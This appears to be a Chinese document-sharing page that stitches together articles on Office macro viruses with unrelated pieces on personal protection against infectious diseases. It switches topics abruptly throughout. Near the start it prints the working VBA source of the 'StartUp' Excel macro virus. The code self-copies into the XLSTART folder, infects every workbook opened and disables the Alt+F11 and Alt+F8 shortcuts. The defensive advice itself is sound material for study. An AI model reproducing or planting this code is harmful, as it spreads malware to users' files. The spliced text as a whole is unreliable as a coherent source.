下载文档原格式
宏病毒原理及防范一、常见宏病毒1．startup宏病毒宏病毒其实并不神秘，其工作原理是借用宏表4.0的auto_open事件启动病毒代码的复制和病毒文件的新建，新建的文件常放在xlsrt文件夹下。
然后利用xlstart文件夹文件可以自动启动的原理把病毒代码复制到新打开的excel文件中。
下面先看看startup宏病毒代码吧，注意红字部分。
Sub auto_open()On Error Resume NextIf ThisWorkbook.Path <> Application.StartupPath AndDir(Application.StartupPath & "\" & "StartUp.xls") = "" ThenApplication.ScreenUpdating = FalseThisWorkbook.Sheets("StartUp").CopyActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")n$ = ActiveWindow.Visible = FalseWorkbooks("StartUp.xls").SaveWorkbooks(n$).Close (False)End IfApplication.OnSheetActivate = "StartUp.xls!cop"Application.OnKey "%{F11}", "StartUp.xls!escape"Application.OnKey "%{F8}", "StartUp.xls!escape"End SubSub cop()On Error Resume NextIf ActiveWorkbook.Sheets(1).Name <> "StartUp" ThenApplication.ScreenUpdating = Falsen$ = Workbooks("StartUp.xls").Sheets("StartUp").Copybefore:=Worksheets(1)Sheets(n$).SelectEnd IfEnd Sub2．book1病毒book1病毒最明显的标志是打开excel时自动跳出一个book1空文件。
如何保护自己免受病毒的侵害近年来，病毒偷偷地成为了人们生活中无法避免的一部分。
无论是在互联网上，还是现实生活中的传染病，病毒的存在使得我们需要更多地了解如何保护自己免受病毒的侵害。
一、加强个人卫生习惯
首先，保持良好的个人卫生习惯是避免病毒感染的基础条件。
洗手是保持个人卫生的最基本方法，要注意洗手的时间、使用的肥皂种类和清洗的区域。
饮食卫生同样非常重要，尤其是生吃的食物，如各类水果、蔬菜等。
二、合理使用防护设备
其次，合理使用防护设备也是保护自己免受病毒侵害的方法之一。
合适的防护设备包括口罩、手套、护目镜等。
在公共场所或者医院，戴口罩可以有效地预防空气传播的病毒，护目镜可以保护眼部，手套可以避免接触有害物质。
三、定期体检
此外，定期的体检也可以发现病毒感染的风险，及时诊治。
人
体抵抗力低下时，容易受病毒攻击，因此应当保持良好的习惯，
如定期运动锻炼、养成良好的作息习惯等都可以提高人体免疫力。
四、保持良好的心态
最后，保持良好的心态也是预防病毒的方式之一。
心情不好、
情绪波动、压力大容易导致人体机能下降，从而影响人体免疫力，容易受到病毒的攻击。
保持良好的心态，积极面对生活的种种，
不仅可以提高免疫力，还有助于消除各种隐患。
总之，病毒是无形的，但预防感染却是必不可少的。
无论是哪
种方法，都是需要坚持的。
我们应该积极学习病毒的知识，了解
预防病毒的方法，不断改进个人卫生习惯，提高自身免疫力。
只
有这样，才能在日常生活中更好地保护自己。
宏病毒及其防治方法探析摘要：宏病毒的出现对办公软件的安全使用带来了极大的威胁，故文章在深入研究宏病毒作用机制的基础上，从发现病毒、清除病毒以及预防病毒三个方面对其防治方法进行了探析，以供参考。
关键词：宏病毒作用机制防治方法前言：微软公司的microsoft word 几乎已经成为目前全世界办公文档的事实工业标准，而宏病毒就是是针对的字处理软件word 编写的一种病毒，其种类达数百种，危害日甚一日，感染率高达40%以上，已成为威胁计算机信息系统安全的主要因素。
因此，对其作用机制进行深入研究，制定切实有效的防治方法，从而最大限度地降低病毒带来的危害是十分必要的。
1.宏病毒的作用机制word 的文件建立是通过模板来创建的，模板是为了形成最终文档而提供的特殊文档，模板可以包括以下几个元素: 菜单、宏、格式( 如备忘录等)。
word 处理文档需要同时进行各种不同的动作，如打开文件、关闭文件、读取数据资料以及储存和打印等等。
每一种动作其实都对应着特定的宏命令。
通常，word 宏病毒至少会包含一个以上的自动宏( 如autoopen、autoclose、autoexec、autoexit和autonew 等) ，或者是一个以上的标准宏，如fileopen、filesaveas等。
如果某个.doc 文件感染了这类word 宏病毒，则当word 运行这类自动宏时，实际上就是运行了病毒代码。
一旦病毒宏侵入word 系统，它就会替代原有的正常宏，如fileopen、filesave、filesaveas 和fileprint 等，并通过这些宏所关联的文件操作功能获取对文件交换的控制。
当某项功能被调用时，相应的病毒宏就会篡夺控制权，实施病毒所定义的非法操作,包括传染操作、表现操作以及破坏操作等。
宏病毒主要寄生于autoopen、autoclose 和autonew 3 个宏中，其引导、传染、表现或破坏均通过宏指令来完成的。
传染病联控有效的个人防护措施随着传染病的频繁爆发，个人防护措施成为了每个人生活中必不可少的一部分。
良好的个人防护措施不仅可以保护自身健康，也能够有效地减少疾病的传播。
本文将介绍一些传染病联控有效的个人防护措施，帮助人们更好地保护自己和他人。
一、勤洗手洁净的双手是预防传染病最简单而又最有效的方法之一。
通过常规洗手可以有效清除手部潜藏的细菌和病毒。
在日常生活中，我们接触到许多带有细菌和病毒的物体，如门把手、电梯按键、公共交通工具等等。
因此，要养成勤洗手的好习惯，尤其是在接触这些公共场所后，或是进食、接触动物等前后，务必充分清洁双手。
使用温水和肥皂，用力揉搓双手20秒左右，包括双手的每个角落以及指甲缝。
洗手液和洗手搓手液也可以作为替代品使用。
二、正确戴口罩口罩是抵御空气传染病的重要防护物品。
通过戴口罩可以有效地避免自己的呼吸道暴露在空气中的有害细菌和病毒中。
在公共场所，尤其是人员密集的地方，佩戴口罩能够减少传染性病毒的传播。
但需要注意的是，正确戴口罩才能发挥最大的防护效果。
在佩戴口罩前，要先洗净双手；将口罩展开并固定在鼻子和嘴巴上，确保口罩能够完全遮盖鼻子和嘴巴，并贴合脸部；佩戴口罩时勿随意触摸口罩表面，如果需要摘下口罩，务必先用洁净的双手拔掉口罩的绑带。
三、保持社交距离在疫情期间，保持一定的社交距离是非常重要的。
通过和他人保持一定的距离，可以减少因为直接接触导致的疾病传播。
一般来说，保持与他人1到2米的距离较为安全。
避免亲密接触，尽量保持距离，特别是在公共场所和人员密集的地方。
好的个人防护习惯，如避免握手、拥抱、接吻等行为，都能够减少接触并控制疾病的传播。
四、注意打喷嚏礼仪打喷嚏是人体的一种自我保护反应，但是在传染病防控中，不注意打喷嚏礼仪会导致疾病的传播。
当你感觉到要打喷嚏时，应该使用纸巾、手帕等物品遮住口鼻，以避免飞沫扩散。
如果没有纸巾或手帕，可以用手肘弯部遮住口鼻，但要避免用手直接遮挡，以防止细菌和病毒通过手部传播。
电脑病毒宏病毒的预防方式下面店铺教你电脑病毒宏病毒预防方式，希望你能学会，能够帮助到你!欢迎回访!!病毒预防编辑Microsoft公司的Word字处理软件因其功能强大，使用方便等诸多优点受到广大使用者的青睐，版本从2.0、5.0、6.0直7.0(Word95)、8.0(Word97)，不断升级。
Word的推广使用，确实为文本处理工作带来了极大的便利，但随之而来的宏病毒也平添了不少烦脑。
宏病毒困扰着用Word处理的文本，轻则文本不能正常存储，重则变成乱码，甚至磁盘被格式化，使许多普通用户谈“宏”变色。
实际上，在了解了Word宏病毒的编制、发作过程之后，即使是普通的电脑用户，不借助任何杀毒软件，也可以较好地对其进行防治。
Word宏病毒是一种用专门的Basic语言即WordBasic编写的程序。
与其它计算机病毒一样，它能对用户系统中的可执行文件和数据、文本类文件造成破坏。
Word中提供由用户编制宏这一功能是为了让用户能够用简单的程序，简化一些经常重复性的操作，与DOS中的批处理文件类似。
Word宏的编制技术，与其它复杂的编程技术相比，要求很低很容易编制，这就为心怀恶意的计算机用户提供了一种简单高效的制造病毒手段。
但也正因其编制简单，使宏病毒的防治远较那些用复杂的编程语言编制的病毒容易得多。
下面就谈在日常用Word处理文本时，如何预防和消除宏病毒。
防止“病从口入”是对付所有病毒的指导思想，同样对付宏病毒的重点也应该放在对其预防上。
Word宏病毒的触发条件是在启动或调用Word文档时，自动触发执行，因此，只要不打开被感染的文本，宏病毒是不会传播的。
如果打开了带毒的文本，其它没打开的文本不会被感染;即使是打开了其它文本，只要不存盘，也不会感染到硬盘中的文本。
Word本身不带病毒，即初次进入Word环境时没有病毒，一旦在其中打开带宏病毒的文件，病毒就会留在Word环境中，如果这时打开其它文件，这些文件就会被感染;更严重的是，关闭Word时的环境就带上了宏病毒，而这时处理的所有文档都将感染上宏病毒。
宏病毒的探究及防治【摘要】宏病毒是针对 Office 软件所包含的自动宏命令编写的一种具有传播、感染能力的病毒程序。
宏作为办公软件的一个创新功能，可把操作程序简化，但同时也提高了宏病毒的传播与感染率。
本文从宏病毒的概念出发，介绍了宏病毒的类型、运行机制、防治方法，以此来帮助用户在遭遇宏病毒攻击时做出正确的应对措施，保护计算机中数据的安全。
【关键词】计算机病毒；宏病毒；Office 软件计算机及网络技术的飞速发展就像把双刃剑，在便捷人们生活的同时，也为宏病毒的蔓延与传播提供了方便，虽然人们都研制出各具特色的方法来抵御宏病毒，但宏病毒具有多样性，新的病毒被消灭，就会有其他宏病毒浮出水面，这对人们抵御宏病毒工作带来了诸多麻烦。
一、宏病毒的概念所谓“宏”就是在使用软件工作时，为了避免相同的操作，用简单的语法而设计出来的一种工具，在办公软件中宏可使用一系列命令。
宏语言是用于在特定应用程序中自动执行特定序列的命令措辞，宏通过自动完成特定方法来简化复杂的过程并使其更适合。
什么叫“宏病毒”，就是针对 Office 软件所包含的自动宏命令编写的一种具有传播、感染能力的病毒程序。
宏病毒可以存在于Word、Excel、Database、PowerPoint 等数据文件中，可在一些处理数据的系统中运行，利用宏程序特殊的功能，将自己复制到其他数据处理文件中。
宏作为办公软件中一个创意性的新功能，利用宏可以帮助用户简化操作，但同时也为宏病毒的传播和感染提供了便利，但他们也产生能够处理和产生office文件的宏病毒，这使Microsoft Word 和 Microsoft Excel成为宏病毒的首要攻击对象，宏病毒可以影响 PC 和 Mac。
如图所示。
二、宏病毒的类型1.Concept病毒Concept病毒是最“有名”的宏病毒。
它于1995年首次出现，专门用于感染Microsoft Word 文档。
这也是第一次病毒通过将自身附加到文档而不是应用程序进行传播。
防御、清除Excel宏病毒的方法
1、安装Office2007以上版本，如果使用Office2007以下版本的Execl禁用宏的操作与本文档
提供的方法有所区别，并且防御宏病毒的能力没有高版本强，所以推荐升级到Office2007以上版本。
2、禁用宏对宏病毒进行防御（如果使用到宏的功能请按照实际需求进行设置），具体方法
如下：
Excel选项->信任中心->信任中心设置->宏设置->禁用所有宏，并且不通知
3、手工删除Execl启动时自动打开的文件，查看Office安装目录XLSTART目录下是否存在有
文件（例：c:\Program Files\Microsoft Office\Office12\XLSTART\），如果存在文件并经过确认不是使用者设置的在Excle启动时自动打开的文件请将其删除。
4、清除现有文件中的宏病毒，使用专杀工具对所有分区进行扫描（Windows Vista以上版
本需要使用“以管理员身份运行”）。
MacroKiller.zip
如有问题请与信息工程部联系。
传染病疫情下的居民自我防护指南在当前全球范围内流行的传染病疫情中，居民自我防护尤为重要。
正确的防护措施可以帮助我们有效预防疾病的传播，并保护自己和他人的健康。
本文将就传染病疫情下的居民自我防护，为大家提供一些实用的指南。
一、保持个人卫生1.经常洗手：将双手彻底清洗干净是预防传染病的基本措施。
使用肥皂和流水，至少要洗20秒钟，包括双手的前后、指缝、指甲和手腕等部位。
如果无法使用流水，使用含酒精的免洗手消毒液也是不错的选择。
2.避免触摸面部：我们的手部经常接触到外界的各类物体，这些物体上可能携带着病原体。
我们应尽量避免触摸眼、鼻和口等面部部位，以减少病原体进入体内的机会。
3.咳嗽和打喷嚏的正确姿势：当我们咳嗽或打喷嚏时，应用纸巾或肘部遮住口鼻，以防止病原体通过飞沫传播。
二、保持良好的室内环境卫生1.保持室内空气流通：经常开窗通风可以有效地改善室内空气质量，减少病原体在室内的积聚。
室内空调和暖气系统也需要定期清洁和维护，以确保其正常运行。
2.定期清洁卫生：保持室内的整洁和清洁，定期清洁家具、地板、门把手、水龙头等易接触的表面。
使用含有消毒成分的清洁剂可以有效杀灭病菌和病毒。
三、避免人群聚集和外出1.尽量避免不必要的接触：在传染病疫情期间，尽量减少与他人近距离接触，避免人员密集的场所，如商场、剧场和体育馆等。
2.推迟或取消聚会和旅行计划：遵循相关部门的指导，避免参加大型聚会、婚庆和其他社交活动。
如果没有必要，最好推迟或取消旅行计划，以减少感染的风险。
四、健康监测与就医1.关注自身健康状况：密切关注身体是否出现发热、咳嗽、乏力等症状。
如有持续出现症状，应尽早联系医疗机构并就医。
2.配合疫情防控调查：如果身边有人被确诊感染，应积极配合相关部门进行流行病学调查和疫情防控工作，为疫情防控贡献自己的力量。
总之，在传染病疫情下，每个居民都应该积极采取自我防护措施，保护好自己和他人的健康。
通过正确的个人卫生、良好的室内环境卫生、避免人群聚集和外出，以及健康监测与就医等方面的努力，我们可以一起战胜疫情，共同促进社会的健康和稳定。
VBA安全性设置和防止病毒攻击的方法随着计算机技术的不断发展，机器学习与人工智能的兴起，数据处理和自动化在商业和个人领域变得越来越普遍。
其中，微软的Visual Basic for Applications（VBA）作为一种强大的宏语言，被广泛应用于Microsoft Office套件中的各种应用程序，例如Excel、Word和PowerPoint。
然而，正是由于其广泛使用和强大的功能，VBA也成为了黑客和恶意软件攻击的目标。
为了保护个人和商业用户的数据安全，我们需要了解VBA安全性设置和防止病毒攻击的方法。
VBA是一种将自动化任务与Microsoft Office应用程序集成的宏语言。
通过使用VBA，用户可以编写自定义的宏代码，以减少人工处理和增加自动化任务的效率。
然而，这种方便性也为黑客提供了一条突破安全防线的途径。
为了确保VBA的安全性，可采取以下方法：1. 启用宏设置：默认情况下，Office应用程序会禁用宏功能，以防止潜在的安全风险。
因此，在使用VBA之前，需要确保已启用宏。
可以通过“文件”->“选项”->“信任中心”->“信任中心设置”来访问宏设置，并确保正确设置了信任中心选项。
2. 使用数字签名：为了确保宏的来源和完整性，可以使用数字签名来为VBA项目提供可信的标识。
数字签名使用数字证书验证VBA项目的作者，并验证代码是否被篡改。
通过数字签名，用户可以判断VBA项目是否来自受信任的来源，并能够保证代码的完整性。
3. 宏安全设置：Office应用程序提供了宏安全级别的设置，可以根据需要进行调整。
高安全级别将禁用所有宏，中等安全级别将只允许在受信任的位置运行宏，而较低的安全级别则可能允许所有宏运行。
根据需要，可以在宏安全设置中选择适当的安全级别，以平衡安全性和功能需求。
4. 安全的文件共享：当共享包含VBA宏的文件时，需要注意确保安全性。
推荐以只读方式共享文件，避免其他用户篡改宏代码。
Office如何有效预防宏病毒简介宏病毒是一种利用Microsoft Office软件中的宏功能传播的恶意软件。
宏病毒可以通过恶意宏代码来执行各种破坏行为，如破坏、删除或篡改文件。
在工作环境中，使用Microsoft Office软件是不可避免的。
然而，有效预防宏病毒的传播变得尤为重要。
本文将介绍一些有效的预防宏病毒的方法，帮助您保护您的数据和计算机安全。
方法一：启用安全设置Microsoft Office软件提供了一些内置的安全设置，可以帮助有效预防宏病毒的传播。
以下是一些重要的安全设置：1. 禁用自动宏运行默认情况下，Office软件启用自动宏运行。
禁用自动宏运行可以防止恶意宏在打开文档时自动执行。
要禁用自动宏运行，可以按照以下步骤操作：•在Office菜单中选择“选项”。
•在“信任中心”选项卡中，点击“信任中心设置”按钮。
•在“宏设置”中，选择“禁用所有宏，并禁用通知”选项。
2. 禁用宏如果您不需要使用宏功能，禁用宏是一种有效的预防宏病毒的办法。
要禁用宏，可以按照以下步骤操作：•在Office菜单中选择“选项”。
•在“信任中心”选项卡中，点击“信任中心设置”按钮。
•在“宏设置”中，选择“不允许任何宏运行”选项。
3. 启用受信任的位置有时，您可能需要运行特定的宏或从受信任的位置打开文档。
为了更好地控制宏的运行，可以将受信任的位置添加到Office软件的信任中心。
要启用受信任的位置，可以按照以下步骤操作：•在Office菜单中选择“选项”。
•在“信任中心”选项卡中，点击“信任中心设置”按钮。
•在“受信任的位置”中，点击“添加新位置”按钮。
方法二：保持软件升级定期升级Microsoft Office软件是预防宏病毒的另一个重要步骤。
每个Office升级都包含了最新的安全补丁和修复程序，可以提供额外的安全保障。
要确保软件始终保持最新状态，可以按照以下步骤操作：•打开Office软件，点击“文件”菜单。
预防和清除宏病毒的方法摘要：宏是WORD中避免一再的重复相同的动作而设计出来的一种工具，宏病毒就是利用软件所支持的宏命令编写的具有复制和传染能力的宏。
本文首先分析宏病毒的特性，并就如何检测、清除及预防进行了探讨。
关键词：宏病毒；WORD；预防；清除Abstract: The macro is a tool designed to avoid repeated the same action in the WORD, and a macro virus is the copy and infectious macro using the software to support macros written. This paper first analyzes the characteristics of macro virus, and discusses on how to detect, removal and prevent it.Key words: macro virus; WORD; prevention; clear所谓宏病毒，就是利用软件所支持的宏命令编写的具有复制和传染能力的宏。
宏病毒是一种新形态的计算机病毒，也是一种跨平台式计算机病毒。
1.宏病毒的工作原理在用W O R D 处理文档时，需要同时进行各种不同的动作，每一种动作其实都对应着特定的宏命令。
宏病毒的感染过程和破坏行为与WORD 的文件宏程序的操作密切相关，这些宏程序可能就是宏病毒的插入点。
病毒包含在宏中时，只要染毒的文件被打开，病毒的宏程序就可能会被执行，进而取得系统控制权，进行感染和破坏。
为了能广泛地传播，宏病毒大都采用感染通用模版NORMAL.DOT 的方法将自己复制到其他文档中去。
W O R D启动时总是自动打开通用模版，这就为宏病毒在每次启动WORD 时能够取得系统控制权提供了机会。
含有自动宏的染毒文档，当被其他计算机的WORD 打开时，也会自动感染该计算机。
电脑病毒的防范和清除方法1、宏病毒的防范和清除内容一、宏病毒的防范。
（1）安装Word 软件包时，系统中包含有关于宏病毒防护的选项，其默认状态是允许【宏病毒保护】复选框,这是防护宏病毒的天然屏障！（2）开启Word宏检查：【工具】→【宏】→【安全性】命令，将安全级别设为【非常高】。
只要打开一个含有可能携带病毒的宏的文档时，它能够显示宏警告信息。
为了防止可能发生的病毒传染，打开文档过程中出现宏警告提示时最好选择【取消宏】。
（3）点击word的“新建”菜单，右边的“新建文档”提供了一系列模板。
将常用的Word模板文件改为只读属性，可防止Word系统被感染。
（4）在word的【工具】→【选项】→【保存】中选中【提示保存Normal模板】，并取消【允许快速保存】。
在【工具】→【模板和加载项】中，清理弹出对话框中的【共用模板和加载项】列表中预先加载的文件，不必要的就不加载。
必须加载的要确认没有选中【自动更新文档样式】。
内容二、手工清除宏病毒（1）“工具”→“宏”→“管理器”→“宏”的一页，在“宏有效范围”下拉列表框中打开要检查的文档。
若发现AutoOpen、AutoClose、AutoNew等自动宏以及FileSave、FileSaveAs、FileExit等文件操作宏或一些怪名字的宏，如AAAZAO、PayLoad等，立刻删除，然后将Normal.dot置成只读方式。
（2）在打开Word文档时，按住[Shift]键，也可达到禁止自动宏的目的。
2、用修改注册表的方法清除病毒（1）调出 WINDOWS 任务管理器，查看系统运行的进程，判断这些进程是否是病毒产生的，也可以查看 CPU 和内存的当前状态，找到后直接将它结束。
如：震荡波病毒是avserve.exe,冲击波病毒是msblast.exe,QQ女友病毒是Internet.exe或Svch0st.exe。
（2）查看 WINDOWS 当前启动的服务项，在“控制面板”→“管理工具”→“服务”→“启动”。
关于宏病毒的处理及预防措施
一旦发现计算机office软件打开后弹出系统警告框，并且无法“另存为”，就表示该文件已感染宏病毒，此时不能再打开其他文件，否则病毒也会感染，应马上关闭删除该文件，若文件重要不能删除，请按以下步骤进行：
（一）用杀毒软件全盘扫面，处理感染文件
（二）开启禁用宏进行防止再次感染病毒。
以Office2010为例：
一：点击左上角，选中“选项”：
二：进入选项后选择信任中心，进入右下角“信任中心设置”：
三：选择宏设置，选中“禁用所有宏，并发出通知”
科技部
2014年5月27日。
如何防御计算机病毒病毒老是来攻击我们计算机，那么我们要怎么样去防御呢?下面由小编给你做出详细的防御计算机病毒方法介绍!希望对你有帮助!防御计算机病毒方法一：1.预防第一保持获取信息。
你是否知晓几乎每天都有病毒和安全警告出现?通过把我们的安全与修复主页加入收藏夹来获取最新爆发的病毒。
2.得到保护如果你的机器上没有安装病毒防护软件，你最好还是安装一个。
如果你是一个家庭或者个人用户，下载任何一个排名最佳的程序都相当容易，而且可以按照安装向导进行操作。
如果你在一个网络中，首先咨询你的网络管理员。
3.定期扫描你的系统如果你刚好是第一次启动防病毒软件，最好让它扫描一下你的整个系统。
干净并且无病毒问题地启动你的电脑是很好的一件事情。
通常，防病毒程都能够设置成在计算机每次启动时扫描系统或者在定期计划的基础上运行。
一些程序还可以在你连接到互联网上时在后台扫描系统。
定期扫描系统是否感染有病毒，最好成为你的习惯。
4.更新你的防病毒软件既然你安装了病毒防护软件，就应该确保它是最新的。
一些防病毒程序带有自动连接到互联网上，并且只要软件厂商发现了一种新的威胁就会添加新的病毒探测代码的功能。
你还可以在此扫描系统查找最新的安全更新文件。
5.不要轻易执行附件中的EXE和COM等可执行程序这些附件极有可能带有计算机病毒或是黑客程序，轻易运行，很可能带来不可预测的结果。
对于认识的朋友和陌生人发过来的电子函件中的可执行程序附件都必须检查，确定无异后才可使用。
6.不要轻易打开附件中的文档文件对方发送过来的电子函件及相关附件的文档，首先要用“另存为。
”命令(“Save As.。
”)保存到本地硬盘，待用查杀计算机病毒软件检查无毒后才可以打开使用。
如果用鼠标直接点击两下DOC、XLS等附件文档，会自动启用Word或Excel，如有附件中有计算机病毒则会立刻传染;如有“是否启用宏”的提示，那绝对不要轻易打开，否则极有可能传染上电子函件计算机病毒。
宏是Word 里一个非常有用的工具，但也是Word 的安全漏洞之一。
有一些恶意的人利用宏制造宏病毒，给别人带来麻烦。
宏病毒是一种寄存在文档或模板的宏中的计算机病毒。
一旦打开这样的文档，宏病毒就会被激活，转移到计算机上，并驻留在Normal 模板上。
从此以后，所有自动保存的文档都会“感染”上这种宏病毒，而且如果其他用户打开了感染病毒的文档，宏病毒又会转移到他的计算机上。
13.1 宏病毒宏病毒已经成为发展最快和传播最迅速的病毒。
美国国际计算机安全协会ICSA 的《ICSA 1998 病毒流行调查报告》表明宏病毒独占1998 年十大病毒感染事件的72%，在十大病毒中占了五席交椅：WM/Concept、WM/Cap、WM/Wazzu、WM/Npad 和XM/Laroux。
根据DataFellow 公司每天特征码升级的F-Macro 所检测到的宏病毒数目，至1998 年12 月达到了3,332 个，而在1997 年12 月才是1,821个，增长率为83.0%。
而且F-Macro 并不能检测到所有宏病毒。
在1998 年12 月出现了Word Class Object 的宏病毒，是由VicodinES编写的。
13.1.1 宏病毒许多应用程序都允许在用户的数据库中包含一些宏，随着应用软件的进步，宏语言的功能也越来越强大，其中微软的Word VisualBasic for Application（VBA）已经成为应用软件宏语言的标准。
利用宏语言，可以实现几乎所有的操作，还可以实现一些应用软件原来没有的功能。
每个模板或数据文件中，都可以包含宏命令。
有不少应用软件允许用户利用宏修改软件菜单的功能，并可以将某一个宏加入到菜单中或设置成自动运行的命令。
利用这个功能，宏就可以修改软件本身的功能，从而将软件本身修改为病毒传播的源泉。
宏病毒就是利用Word VBA 进行编写的一些宏，这些宏可以自动运行，干扰用户工作，轻则降低工作效率，重则破坏文件，使用户遭受巨大损失。
